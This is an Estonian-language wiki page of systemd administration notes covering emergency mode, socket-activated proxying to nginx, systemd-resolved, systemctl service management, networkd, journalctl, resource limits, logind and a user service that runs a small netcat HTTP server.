 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
